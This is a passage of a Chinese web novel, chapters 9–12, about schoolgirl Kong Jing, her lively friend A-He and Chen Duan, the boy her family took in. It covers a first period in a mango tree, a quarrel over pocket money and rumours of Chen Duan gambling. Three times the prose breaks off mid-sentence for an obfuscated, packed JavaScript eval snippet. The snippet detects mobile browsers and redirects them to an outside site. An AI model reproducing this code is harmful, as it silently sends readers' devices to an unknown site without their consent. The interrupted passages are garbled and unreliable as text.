彼时,海峡对岸的风更加狂热地吹来,珍珠奶茶、手抓饼等街头小吃在各大商圈和学校门口如雨后春笋般一夜冒头。可惜梅村中学外面暂时还没有,最近要去镇上才买得到。 阿禾洋洋得意,“拜托,我现在也是老大诶!当然是小弟……啊不,小姐妹进贡给我的!” 她让孔净拿着奶茶,自己则再掏出一支吸管,“啪”地一下戳穿上面的塑封。 里面的冰块快化了,沁出密密水珠,顺着孔净的指缝汇成涓流流到她的手心里,凉凉的。 “你喝呀!”阿禾双眼晶亮,握着孔净的手把奶茶推到她面前。 孔净好馋,舌尖分泌比平时多几倍的唾液,但是她摇摇头,“你喝。” “哎呀呀,一杯奶茶而已,干嘛学孔融让梨!”阿禾一副喝惯了的姿态,但是用力咽口水的声音恐怕连路过的飞鸟都听得清楚。 结果就是孔净小心撕掉上面的塑封,和阿禾对着杯沿你一口我一口。 喝到一半,阿禾突然反应过来,“吼!你嫌弃我的口水!” “哪有。”孔净不承认。 “有吸管不用,干嘛这样。好奇怪!”阿禾坚持。 孔净说:“不奇怪啊,我看电视里的女主角喝咖啡就是这样。” 阿禾仰头想了下,眼睛笑眯眯的,“……好像是诶,吼!” …… 奶茶沁凉甜蜜,孔净和阿禾坐在半空中,惬意地晃荡着小腿。 可是喝完奶茶阿禾就要走。 孔净:“……” “啊那个,我也很烦啦!都怪水宝!她租的碟片明天就到期了,今天如果不看完很浪费……” 水宝就是阿禾的小跟班,今年上初一,她刚进校没多久就被阿禾选中连蒙带拐认了干妹妹。 “到底演的是什么,你们看得这么痴迷?”孔净疑问。 阿禾嘴巴一抿,煞有介事地左右看看,然后凑近孔净。 “啊啊啊!别说了!”孔净听了之后连耳朵都不想要了。 阿禾却一脸兴奋,“你要不要一起?” “不要!” 面对孔净幽幽的目光,阿禾只好心虚地抱住树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180469|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干往下小幅度蠕动、撤离。 她一手抓着树干一手指着孔净手里喝剩的奶茶杯,狡黠道:“水宝怕你生气,专门买给你的!” “哦,水宝专门买给我,却被你偷喝了一半,”孔净说,“这样吧,把你分成两半,一半去水宝家看碟片,一半留下来陪我。” “啊!好残忍!”离地一米多,阿禾一下跳下去,两手抱住自己做惊恐状——“我走啰!明天见!!” “杨金禾……!” 阿禾跑得比逃命的兔子还快,身影迅速消失在清凉林地里,孔净重重叹了一口气。 夏风温柔,孔净又坐了一会儿,准备下来时却感觉肚子一阵抽痛,她怀疑前天晚上吃的土豆还在发挥余威,又或者是刚才贪凉喝了冰奶茶。 她一手捂着肚子动了动,忽然感觉到一阵热流。 世界静止几秒,孔净心想不会吧。 阿禾早在小学六年级就来了初潮,孔净上了初中还没动静,阿禾每个月总会在那几天一边抓狂诉说自己有多难受一边阴恻恻地羡慕嫉妒孔净迟到的成熟期。 然而,此时—— “拜托拜托,不要不要……” 孔净小声祷告,伸手去摸裤子,牛仔裤面料厚实但还是隐约沁出了一点,孔净手指上一抹极淡的粉色,她耳边“轰”的一声,肉身还在芒果树上坐着,灵魂却已经抽离摔瘫在地上。 孔净急急忙忙加快速度想下去,但是只要一动腹痛就加剧一分。 她又痛又难受,快哭了。 “你怎么了?” 斜下方传来一道熟悉的清爽嗓音,孔净猛地转头,底下的荒草地传来枯叶被踩踏的声音,一只白皙手掌撩开比人还高的杂草,抓住从芒果树上垂落下来的鸡血藤,同时双腿在坎坡上一蹬就跳了上来。 少年仰起头,一截芒果枝遮挡视线,被他抬手折断。 “……陈端,你怎么也在这边……?” 孔净话说一半,想起自己的处境,整个身体往旁边缩了缩,如果被陈端看到,她宁愿掉下去摔死。 太丢人了。 “没什么,你走吧。” 孔净咬牙忍耐小腹一浪高过一浪的锥痛,声音从高处传下来,又闷又拧巴。 陈端轻轻蹙眉,有些不解。 下一秒,视线捕捉到什么,他垂下眼睫,颜色透白的耳廓瞬间烧红。 孔净比他还要红,“你快走——啊!!” 她一激动,重心不稳差点从半空掉下来,还好身体本能反应抓住了前面的树枝……尖尖。 孔净下半身坐在横着的树干上,上半身被弹力十足的树枝尖尖带着很有节奏地上下、左右晃动,某个瞬间她甚至感觉到屁股已经离开树干,脚下腾空,摔断腿的梦想近在咫尺。 可悲的是并没有,她就像个马戏团新人被迫在树上表演一番。 陈端仰头又低头,看也不是,不看也不是,然后就听见了头顶上方传来“哇”的一声。 孔净哭了。 陈端:“……” “你要不要——” “闭嘴!!” 孔净哭得抽噎不止,这种哭法只在很小的时候被李贤梅用可乐瓶打屁股时才会出现,现在的情形和被打屁股也差不多了,就是伤害性寥寥侮辱性极强。 然而她越哭,某个部位传来的流泻感越强,腹痛也越明显,孔净的心理防线完全崩了。 她边哭边不忘叫陈端走,又骂又威胁。 不过这种“骂”与“威胁”是她自认为的,毕竟脏话词库匮乏,喉咙又被哭声占据,听在别人耳朵里不过是“呜呜呜”一样吹过树梢的风。 陈端立在树下石化了一样,脸上看不出有什么表情,只是绯薄的双唇紧抿着,耳廓也由桃红转成了血红。 过了一会儿,孔净在哭骂之余听见异常响动,警觉拉下捂脸的手,“……谁让你上来的?!——下去!!!” 陈端仗着身高腿长悄没声就攀上了树,猫身在离孔净半米远的地方,一手抓着头上的枝丫,另一手把提着的布袋递过去。 “是要教我画画还是怎样?!陈端你是不是有病!”孔净认出这个帆布袋是陈端用来装空白本和铅笔之类的画具。 “……”,陈端眼皮微抬,擦过孔净后脖颈蓬茸的碎发随即移开,他声音不太自在,“给你挡一下。” 孔净不想要,她只想一个人待在树上自生自灭。 但显然,不可能。 孔净也不知道自己是怎么忍着被人看了笑话的羞耻心从树上下来的。 陈端背对着通过声音分辨她安全落地,不知怎么微微松了一口气。 孔净两手提着帆布袋背在身后,刚要走,面前的少年两手撑在膝盖上,弯下了腰。 “上来。” “……不要!我自己能走!”孔净很决绝。 “林子里黑得早,走慢了……有鬼。” 孔净:“……!” 陈端维持着半蹲的姿势,抿着唇视线微微朝后扫去。 孔净快气死,两眼一闭,爬上少年后背。 10. 第 10 章 孔净一手搭在陈端肩膀上,另一手背在身后提着帆布袋,为了防止贴得太紧,上半身和少年后背空出一道距离。 很别扭的姿势。 孔净不舒服,陈端应该也没好到哪儿去。 孔净说要下去,陈端没吭声。 孔净动了几下,陈端说:“摔了。” 孔净“哦”一声,算了,不动了。 她才发现陈端看着单薄,但实际上肩膀宽阔,手掌按在他一侧斜方肌上,结实而有力。 就这么一路无话着实有些尴尬,孔净问他:“你有多高?一米八?一米七?” “两米。” “……”孔净无语,“你说少了,三米我看差不多。” 陈端轻笑一下,“可能就是三米。” 孔净说:“我一米六,上周体育课刚量了。” 陈端捧场:“好高。” “没你高。”孔净觉得奇怪,“你不是比我小一岁,怎么长这么快?你爸妈很高吗?” “……应该,记不清了。” 穿过一处密林,老树遮天蔽日,天好像一下就黑了。陈端走得很稳,声音在深暗的环境里听起来有些清虚,像一阵没有来由也找不到归处的风。 孔净也觉得这个话题太沉重了,她记得那一阵厂里都在传陈端的爸妈不在了,但具体如何从来没听当事人亲口提过。 腹痛一阵一阵的,有时重有时轻,孔净侧过脸额角轻轻抵在陈端的肩胛骨上,身体随着他的步伐微微晃动,呼吸慢慢放匀。 霞光钻进眼缝,孔净抬起头,视线穿过前面长长的林间隧道已经能看见瓷砖厂高高耸起的锈红色烟囱。 她说:“我下来自己走。” 陈端两手握拳腕骨托着孔净的膝弯,“很快到了。” “我知道。”孔净很坚决,另一只拎着帆布袋的手也撑在他的肩膀上,两条腿挣着,“会被看到。” 陈端一怔,脚步慢下来,问出一直想问的问题:“被看到,会怎样?” 孔净双脚踩在地上,一时回答不上来,但又觉得答案显而易见,“就是不想被看到啊。我们不是一直都这样?” 陈端低垂着眼,额发柔软挡在眉骨上方,表情说不上来的冷寂。 “是,一直。” 说完,他往前走。 孔净张了张嘴,想喊他别走那么快,昏暗树影扫在少年远去的身影,转眼就见他拐向出口的岔道,往另一个方向去了。 察觉到陈端突然的情绪直落,但不明白为什么。 孔净抿了下唇,一手拽着帆布袋,另一手扯了扯衣服下摆。 远远看到石厝铁门半敞,孔净路过窗外时伸头朝里看了眼,屋里没人,旁边简棚里传来哗哗水声。 她悄没声地进屋,刚走到铁架床边,身后就传来李贤梅的声音:“去哪儿了?一天到晚瞎跑,明天就回学校了作业做完了吗?” 孔净飞快把帆布袋挂在挂钩上,转过身,李贤梅端着一盆刚洗过的空心菜正蹙眉看着她。 “写完了,下午约了阿禾……”孔净慢慢走过来,有些难以启齿,“妈,我来那——”个了。 “去外面扯点蒜苗。”孔净说什么,李贤梅根本没注意听,她把空心菜放在灶台上,伸手在墙上取了一块腊肉下来,用刀割下两指宽的一截后又重新挂回去,没听见孔净出去的响动,她转过头,“还杵着干什么?” “我……去下厕所。”孔净对上妈妈的表情,想说的话一下被堵了回去,她走到床边从行李袋里掏东西。 李贤梅没在意孔净在干什么,她只觉得不满,她太累了,家里厂里什么都要她操持,没一个能指望得上。 她用刀一下重过一下地刮着腊肉皮,拎着腊肉去简棚,看见孔净微微弯着腰往厂里公厕跑去的背影,“拿裤子干什么?到底洗澡还是上厕所?!” “……一让干点什么就跑得飞快。有本事大家都不吃不喝当神仙!” 李贤梅把腊肉丢进水槽,察觉到脚步声,她回头,陈端回来了,他正要进屋,“梅姨。” 李贤梅不咸不淡地应了声,听见屋里随后响起的电视声音,她俯身用不锈钢球把腊肉翻来覆去地刷,恨不得把皮都刷掉,乌黑水渍溅到衣服上也没理。 孔净在底下把换下来的裤子洗干净了才回来,晾上之后甩甩手正打算去摘蒜苗,孔大勇回来了,他叫孔净去小卖店拎两瓶冰啤酒回来。 孔净看一眼站在灶台前把锅铲舞得“吭吭”响的李贤梅,正要开口,陈端从电视机前站起来,“我去。” “还是儿砸好!”孔大勇像突然得了什么奖赏,他从兜里掏出用脱了色的皮夹,大方抽出一张绿票子,让陈端想买什么就买什么。 陈端接过钱,走出门前,李贤梅手里的铲子敲一下锅沿,她忽然转头跟孔净说:“你也去!钱在枕头底下,自己拿!” 孔大勇最近这段时间神出鬼没的病又犯了,知道李贤梅是在跟自己置气,他笑嘻嘻地又给了孔净二十块,“你们姐弟俩一起,莫说爸爸偏心。” 孔净身体不舒服,当下唯一的愿望就是躺下来歇一歇,但是她不能不去,她不想忤逆李贤梅和孔大勇中的任何一个,更不想变成李贤梅情绪爆发的缘由。 孔净和陈端一前一后绕着石材厂的土石路去小卖店,孔净走得很慢,气氛有点怪,她和陈端谁都没有说话。 也许是因为他们本来就气氛怪,也许是因为孔大勇和李贤梅,又或者只是单纯因为孔净难受不想说话。 走了小半截,孔净不想走了。 她捂着肚子坐在路边,前面陈端像是没有发觉似的,狭长影子被淡蓝色天光拽过蜀葵地。 孔净整个上半身弯折,两手按着腹部,下巴垫在膝盖上,垂眼数着地上路过的蚂蚁。 可能数到第一千只,也可能是第一千一百只,晚风送来一道脚步声,轻而实。 她没抬眼,知道是陈端。 想着等他从面前走过再起身,做个一起出去又一起回来的假象好瞒过孔大勇和李贤梅。 然而少年瘦高身影进入余光,停在了面前。 孔净盯着地上那只费力搬运甲虫残尸的蚂蚁,目光微动,最后落在少年的球鞋上。 光线这么暗,少年露出一半的脚踝却很白,都是吃一样的东西,怎么他皮肤这么好?基因真优越……这么说他应该不是爸爸的儿子吧?因为孔大勇的皮肤是红黑色…… 孔净胡乱想着,眼前突然多出一只手来,手指又长又漂亮,拿画笔时本身就应该是一幅绝佳的画作。 “给你。”陈端不知道孔净在看什么,掌心里的东西孔净再熟悉不过,一板止痛药。 孔净这才抬眼看他,陈端移开视线,从拎着的塑料袋里拿出一瓶饮料。 是最近请了某个大明星代言的新潮饮料,在学校里很风靡,但是孔净没买过,她嫌贵。 孔净有些意外,手碰到饮料瓶就更吃惊了,“热的?!” 瓶身潮潮的,应该是陈端找小卖店老板娘用热水温过。 孔净接过饮料,吞了两片止痛药。 药片还卡在喉咙里,陈端就已经从面前走过了。 孔净站起身跟上去,“走慢点。” 她不记仇,情绪来得快去得也快,显然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180470|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此刻因为一板止痛药和一瓶甜滋滋的热饮,已经将两人之间的别扭又忘了。 但是陈端并没有因她的要求而慢下步伐,孔净只好追上去。 “会被看到。” 陈端提醒她。 声音冷冷淡淡,和孔净手里的热饮温度极致反差。 “现在又没人。”孔净心情好起来,因为被关心。 但显然,这不是陈端想听到的。 他又问了那句,“所以,被看到会怎样?” “没有怎样,你也知道爸妈、我不想……” 孔净其实也没有认真理清过其中的逻辑,只是动物趋利避害的本能,因为雷达感知这样做会招来危险,所以不这样做,就这么简单。 陈端没听她说完,静黑的眼眸在暗色光线里闪过一丝厌恶,他厌恶孔净没说明白、他却懂得的东西。 孔净没看见陈端眼里的情绪,但是她知道陈端生气了。 她没有做狗皮膏药的潜力,尝试两次见陈端不理,她也就放缓步调随他去了。 孔净以为陈端不会气太久,事实却恰好相反。 周一早上她还在刷牙,陈端就进来把自行车推了出去。 “等、等我……”孔净嘴里还有牙膏,又怕被李贤梅和孔大勇听到,声音很含糊。 陈端不知道听到没,余光瞥她一眼,翻身骑上自行车就走了。 孔净到学校,阿禾比她早,等在一班门口着急忙慌地拉开孔净的书包拉链从里面掏作业本。 阿禾坐在孔净的座位上埋头狂抄,孔净只好站在过道上翻阿禾从文具店租来的书。 书经过太多手,封皮已经褪色看不清,老板缠了两层透明胶带。孔净以为还和以前一样,翻开没看两页突然瞪大眼睛,她像丢烫手山芋一样把书丢给阿禾,阿禾被书脊碰到,嗷一嗓子令半个班都侧目。 她在奋笔疾书中飞眼看了下孔净,为了不影响进度憋笑憋得肩膀乱抖,作业本上的字似蝌蚪。 孔净不理她了,随手拿了本语文书走到教室后门。 陈端一手垂在身侧指尖拎一杯豆浆,闲闲从操场那边走来,皮肤照在他身上冷玉一样的质地,走廊上有女生惊呼“好帅”、“好梦幻”,孔净轻轻掀起眼皮。 班级之间是连着的,一班后门紧挨二班前门,孔净站在一班后门想了想,轻声叫他,“陈端……” 陈端没看见也没听见,径自走进二班前门。 “……” 到底在气什么啊? 走廊上的女生还在犯花痴,孔净心想,才怪,丑八怪! 孔净回到座位把兜里准备好的东西掏出来,塞进阿禾书包。 快要打铃了,阿禾笔尖写出了火星子,根本没空去看,嘴却不停,“洗虾米(是什么)?好吃的哦?吼!” “不是。”孔净说,“你帮忙拿给他。” “他?谁呀谁呀?”阿禾笔尖还在作业本上鬼画符,身体却随语气冲孔净扭了起来,都给孔净同桌看呆了。 孔净:“反正你拿给他就好了。” 中午阿禾来找孔净吃午饭,她把早上孔净让她转交给陈端的本周生活费原封不动地还回来,“他不要哦。” 孔净惊愕,所以陈端气到打算这周喝西北风? 李贤梅每周给她和陈端每人七十,今早陈端走太早,连生活费也没拿。孔净知道陈端要上网要买画具,所以偷偷匀了十块给他。 谁知道,他居然不要。 旁边阿禾戳戳孔净,“是陈端自己不要的哦。不然这样好了啦,我们帮他把钱花了,也算是做善事了。” “……” 11. 第 11 章 生活费陈端没要,孔净也没花。 钱被孔净用一根黑色皮筋捆着一直贴身放在校服口袋里,她想找机会给陈端,但陈端总不理她。 大概是孔净投向陈端的目光太过频繁,虽然不明显,但还是引起了有心人的注意。 课间有别班的女生过来找她,“你也喜欢陈端?三个班一起上体育课的时候我看见你在看他。” 孔净认出她是那次在文具店说要请陈端吃雪糕但话都没说完就被拒的三班女生,因为知道她说的喜欢是什么意思,孔净很不可思议,“我,喜欢陈端?怎么可能!” “那……你讨厌他?”初中女生很容易非黑即白,她觉得孔净的表情和语气都不像作假,所以自然而然推导出这个结论。 孔净没说话,因为她和这个女生不熟,没有必要人家问什么她就答什么。 女生因此更笃定,“你讨厌他!太好了。我们可以做朋友。” “啊?” “你学习很好,长得……还行吧。重要的是我们不是情敌。我喜欢陈端,不讨厌你,但是你讨厌陈端,所以我们可以做朋友。和我做朋友我可以请你喝奶茶,也可以送文具给你,下次我们一起去店里你可以挑两支笔……” 她们站在一班后门走廊上,女生叽里咕噜说个不停,直到后面有人喊了声“陈端你物理作业呢?!”。 孔净回头,少年站在二班走廊上,后腰倚着廊柱,蓝白校服敞开露出里面的白色T恤,衣摆和黑色发梢被风轻轻吹动,澄明光线里视线显得格外冷郁、淡漠。 孔净目光和他轻轻一碰,立刻知道他都听见了。 “陈端!不好意思我刚才没看见你……” 女生双眼一亮,刚才还和孔净侃侃而谈,这会儿突然涨红着脸吞吞吐吐。 陈端没看女生,视线从孔净脸上划过,站直,转身走了。 找陈端收作业的科代表从教室出来,“你去哪里?还有一节课……!” 陈端之前偶尔也逃课,孔净知道。 她心里觉得和三班那个女生统共没说几句,内容也没什么大不了。她不太懂陈端为什么用那种眼神看她,也不明白他为什么能从周日一直到周四都不理她,总不至于一直在生气吧? “……男生、原来也这么小肚鸡肠。” 孔净无语至极,弟弟就是弟弟。 “你说什么?啊好烫!”阿禾一边大口往嘴里塞饭一边用手扇扇风,她吃得很急,因为待会要去水宝家。水宝就住在梅村,离学校很近所以没住校。 “没什么。” 阿禾强烈邀请孔净同去,说有好东西。孔净觉得阿禾脸上的笑很可疑,没有婉拒,直拒了。 孔净一个人沿着香樟路慢慢走回宿舍。 梅村中学总共三百多名学生,住校的大概有一百来个,和教学楼隔一个操场的红瓦灰楼就是宿舍。一楼是食堂和小超市,二三楼则分部着宿舍,每个宿舍住八到十二人不等。不知道当初学校领导是怎么考虑的,男女生宿舍并没有严格的界限,更奇葩的是每个年级的男女生宿舍都紧紧挨着。 也就是说一班的女生宿舍隔一个一班男生宿舍,旁边就是二班女生宿舍和男生宿舍。 二班男生宿舍刚好在楼梯边,孔净还在一楼就听见男老师在训斥,“学习学习不行,偷蒙拐骗第一名!一个个现在不学好,提前在社会新闻版面预定名额!还好意思笑!以后进了少管所我看你还笑不笑得出来!!” 二班男生宿舍外面贴墙站了一排,地上散落花花绿绿的扑克牌,男老师手持教鞭踩在扑克牌上,看谁不顺眼就给谁来一下。 孔净低头想快速走过,余光睨到一个熟悉身影,步子一下就慢了。 男生们本来就听老师训话听烦了,心里窝着火,看见孔净要走不走的,有个侧边挑染一戳黄毛的男生朝她做了个顶|胯的动作,“要看过来看啊。” 其他男生哄地笑开了,男老师举起教鞭“啪”一下抽在那黄毛手臂上,黄毛呲牙:“靠北!” 此起彼伏的教鞭声传来,孔净还是愣愣的。 陈端站在最左边,没穿校服,姿态不似其他男生那么放浪,单独看会以为他只是站在走廊上发呆。 他也确实是在发呆,在孔净没出现之前。 黄毛被打得四窜,抱头躲到陈端这边来时,被陈端伸脚绊了个狗吃屎。 “没看见。”陈端垂眼看一眼黄毛,表情很淡,真像是不小心。 黄毛爬起来要去推陈端,陈端站着没动,老师教鞭伸过来又一下抽中黄毛:“给我回去站好!再敢说半个字脏话,明天就叫你爸妈过来办退学!!” 教鞭声惊醒孔净,她回神,快步回到宿舍。 外面动静那么大,楼里其他宿舍的人都在偷偷往外瞄,女生宿舍也不例外。 她们一边偷窥,一边窃窃私语。 “打牌而已,老师火气也太大了吧!还打人,这是体罚!” “什么啦,他们是赌博诶!哪里只是单纯的打牌。” “啊?真假?” “包真的啊!” “可是边上那个长最高最帅那个看起来根本不像缺钱的样子啊!” “哪个?……你是说陈端?是哦,那他可能就是单纯喜欢赌吧!” …… 打牌、缺钱、喜欢赌,一系列字眼强行灌进孔净的脑子。 舍友们还趴门边议论,孔净坐在自己床上,手隔着面料碰到裤兜里的那卷钱,嘴唇又干又白,一句话也说不出来。 赌博被抓的二班男生整个午休都被罚站,男老师也一直在坐在旁边看着。 午休结束前,孔净抱着书混在人群中路过,这回她没看陈端,但她知道陈端在看她。 孔净到教学楼第一件事就是去二班找阿禾,“不管他要不要,你帮忙把钱放他书包里。” 阿禾本想再说几句话俏皮话,可一看孔净脸上表情焦急又郑重,接过钱后二话不说就走向陈端的座位。 但是第一节下课阿禾来告诉孔净:“陈端把钱捐了!早知道这样你就该听我的,把钱花了啦!!啊,好多钱……” “什么?捐给谁?”孔净没明白。 “捐给我们班充公了啦!夭寿!”阿禾说,“上节课我们上数学,你知道啦数学老师就是我们班主任,剩最后五分钟的时候他让班长组织大家交班费,本来每人只用交五块,可是!陈端交了八十!班长好心和他说交多了,可是你猜他说什么?!” “……说什么?” “他说老师只规定最少交多少,没有规定最多不能交多少,他愿意交八十,如果班长不收就帮他把多的捐给其他班……虽然这个举动又射中我们班很多女生的芳心,可是!这是你给他的钱诶!他干嘛这样……孔净孔净!你到底有没有听我说啊?” 孔净在听,又好像没在听,她憋着一股气,下午放学后没和阿禾去吃饭,她在操场角落的垃圾站找到陈端。 “你为什么把钱都捐了?” 陈端今天值日,他把一桶垃圾倒扣进铁皮回收箱,“给我的,我以为我有权利决定怎么花。” 垃圾桶撞上回收箱发出哐当响声,他撩起眼皮看孔净,“还是说要经过你们的允许才能花?” 他表情很淡,声音也没什么起伏,可是说出来的话每一个字都那么尖锐。 孔净忽然觉得有些不认识他,“我不是这个意思,你把钱都捐了怎么吃饭……?” “这是我的事,不用你担、”少年一下停住,他轻轻眯了下眼,眸色变得纯黑,很空旷又浓郁的黑,“你本来也不担心。” “……我怎么不担心?!你没钱你去赌被老师罚站!要是被爸妈知道你——” “那也是我的事,大不了就退学。” 陈端拎着垃圾桶转身,听见孔净前面一句他有停下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180471|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的趋势,可是再听到孔净下一句提到老师、孔大勇和李贤梅,就觉得很可笑。 “我怎样是我的事,不会影响你当好学生。” “陈端!” 说的什么跟什么啊?孔净被气死,冲着他的背影直跺脚。 有两个没穿梅村中学校服的女生往这边走来,看见陈端就停下来问他:“帅哥你好,你认识孔净吗?我听他们班同学说她好像来这……” “不认识。” 等陈端走过,牛仔短裤上有破洞的长脸女生轻“哇”一声,“没想到梅村中学还有这种长相的男生,好想认他当干弟弟。太可惜了,没在我们职高。” 在斜刘海上喷发胶的圆脸女生回头看一眼陈端的背影,她啧啧道:“现在不在,不代表以后不在啊。一看就知道他不喜欢读书。” “他初几啊?别等我们从职高毕业了他才去,那不就便宜别人了。” “等会打听看看不就知道了。” 两人讨论得热火朝天,晃眼看见一个梳高马尾身形轻盈的女生从面前走过,圆脸女生见过照片模糊有些印象,“站住!” 孔净气鼓鼓,压根没觉得这两个外校女生是在跟自己说话,直到被她们追上来拦住。 “你……是孔净对不对?!” “没错,肯定是你!你长高了我也能认出来!” 长脸女生和圆脸女生左右夹击,同时出声。 孔净莫名其妙,“请问有事吗?” “有事,和我们出去一下。”长脸女生抱起双臂。 “去哪里?” “去了就知道了啊。”圆脸理所当然。 孔净:“不要。” 她后退两步,绕过她们继续往前走。 “……果然很刚嘛,难怪虾皮对她念念不忘!” 两人又追上来,圆脸女生说,“其实我们是想跟你做朋友,请你上网好不好?” 长脸女生说:“人家是好学生啦,上网肯定不感兴趣,买书才对!” “谁说的?上网也可以查资料啊!”圆脸女生反驳。 长脸女生惊讶,“你还知道查资料,你每次去都是看片好吗!” “我看片总比好过你和不认识的男人视频!上回那个老男人那么肥,二十岁就该死了居然还说自己是宝宝……噫!” “干!也比你前男友那个矮矬强!瘦成鸡了都!” …… 所以你们是为什么吵起来? 夹在中间被迫看她们互扯头花的孔净:“……” “孔净。” 就在她听得一个头两个大的时候,前面传来少年清爽嗓音。 陈端去而复返,手里还拎着空荡荡的垃圾桶。 长脸和圆脸同时噤声加转头,“……靠!长得好看的男人果然最会骗人!” 还说不认识。 陈端没搭理她们,又喊了声孔净。 孔净抿了下唇,堵在胸口的气直往上窜,她绕过长脸和圆脸,也绕过陈端,走了。 长脸和圆脸想追,被陈端拦住了。 “你们找她做什么?” 长脸眨眨眼,“夭寿!他不就是陈端?!” 圆脸:“不会吧!虾皮把他的脑袋从合照上抠走了,你见过?” “……没有,感觉……” 陈端没空听她们七嘴八舌,回头,孔净没去教室,而是往宿舍方向去了。 周五下午,阿禾又提前跑了,孔净还是和往常一样回宿舍收拾完东西之后慢吞吞骑车出了学校。 经过网吧门口,那辆烟蓝色自行车混在横七扭八的车队里,很扎眼。 孔净只瞥了一眼,然后冷不丁加快车速,浮光掠影般闪过。 二楼窗户今天是开着的,熟悉的车铃声迟迟没传来,一道蓝白身影凭直觉转头看向窗外。 然而,除了打翻调色盘的晚霞,什么也没有。 12. 第 12 章 孔净和陈端陷入冷战,不过外人根本看不出来,因为他们好像一直都是这样,不说话,不对视,看不见对方。 周日下午,孔净又去了老地方等阿禾。 上周阿禾迟到了半个多点,孔净以为这周她起码会收敛点,哪里想到阿禾直接不来了。 孔净:“……” “什么嘛。”孔净挠了挠胳膊和腿上的蚊子包,鼓着腮帮子从树上爬下来。 她捡了根大小适中的芒果树枝,踩过厚密松叶,打算循着以前探索过的路径去寻找今天的战利品。 林子里很静,蝉鸣和鸟叫听起来十分空渺,声音时有时无、时近时远,无法判断从哪里传来。 没有阿禾作伴,孔净心里毛毛的,但又不能白来一趟两手空空回去,孔净小声哼起歌给自己壮胆。 正猫腰前行,忽然听见一道女声,痛苦、细碎又绵长。 孔净吓得一动不敢动,电影里的女妖、女鬼形象闪进脑海,后背迅速爬上一层鸡皮疙瘩。 就这么静立好一会,女声远远近近,夹杂着喘息,紧接着传来窸窣类似衣服面料的摩挲声。 孔净额头上冷汗都流下来了,分辨方位时像一个坏损卡壳的机器人一格一格地转动脖子,视线被几株老树和密织的藤蔓遮挡,幽绿茎叶在细风和惨白阳光中一抖一抖,随时可能会抖出一只骷髅手的可怖场景。 小学六年级那次在林地里看道士对着陶罐作揖烧符纸的印象太深刻,孔净只觉得心跳得快要过载停摆。 她手指发抖,手里的东西滑落,用来采菇的小刀撞在石头上发出响声。 那声音并不大,甚至可以说很轻,但林子太静了,躲在藤蔓后面的人也太警觉,“哪个!!?” 是那个女声。 孔净一惊,本应该跑走才对,已经绷得发硬发痛的肌肉群却一下卸了力。 原来不是鬼,是人。 而且,这声音的主人她认识。 “……你先走。”孔净听见藤蔓后的人压着声音又说了一句。 她嗓子发紧,试探着喊了声,“桂华嬢嬢?” 宁桂华愣了一瞬,“……孔净?” “……是我。” “你个小孩一点声也没有,什么时候来的?想吓死谁?!” 密网一样的藤蔓被宁桂华几下扯出一个洞来,她从洞口钻过来,边整理头发边走近。 孔净拾起布兜和小刀,宁桂华观察孔净,“又来捡蘑菇?能卖几个钱?” “也不光是为了这个……林子里挺好玩的。”孔净眨了眨眼瞥向她身后。 宁桂华挡在她面前,“看什么呐?!” “……没有。你、和立胜叔一起吗?”孔净低头抖了抖布兜上的灰。 “他闲出屁来才跟在我后面!”宁桂华说到丈夫就一脸不满,在镇上理发店做的纹眉高高挑起。 “哦。” 孔净就更不愿意提到王立胜了。 “走那么快干什么?嬢嬢跟你说会儿话。” 宁桂华同孔净一块走到被人踩出来的小路上。 这边的树更高却更稀疏一些,阳光透过树盖在草地上投出几道明度不一的光柱,掩映在草叶里的小花被这光柱照着就像打上了聚光灯,一种充满野趣的伶俐美。 宁桂华歪着脖子看孔净,感叹道:“小姑娘真是长大了。” “我本来也不小。”孔净回道。 这话不知为什么戳中宁桂华,她笑得花枝乱颤,“还说不小?小背心换成奶|罩了吗你!” 孔净脸颊腾地一下烧起来,扭过头就走了。 “诶诶,别跑啊!”宁桂华追上孔净,拉着她慢下来,被孔净一下甩开了。 宁桂华哼笑两声,也不生气,她出于一种心理,待孔净比平时还要热乎。 她摸了摸孔净的马尾,像是自言自语:“可惜了……” 孔净抬眼瞧她,宁桂华笑一笑,“……其实,我以前成绩也挺好,不像你每次都考第一,但是前十还是不成问题。可惜了,年纪小被男人骗,家里人又偏心只可着男孩子——你不也有个弟弟?” “啊?” 话题一下转换到陈端身上,孔净有点没反应过来。 “啊什么啊!孔大……你爸爸看重陈端肯定比看重你多!梅姐不敢跟他闹,只敢拿你出气!两口子都是拎不清的!” “没有。”孔净不喜欢宁桂华这样说李贤梅和孔大勇。 “在厂里这么久,谁不知道谁啊。”宁桂华不跟孔净争有没有的问题,她轻轻帮孔净顺了顺被风吹乱的鬓发,“长大吧,长大了就好了。” 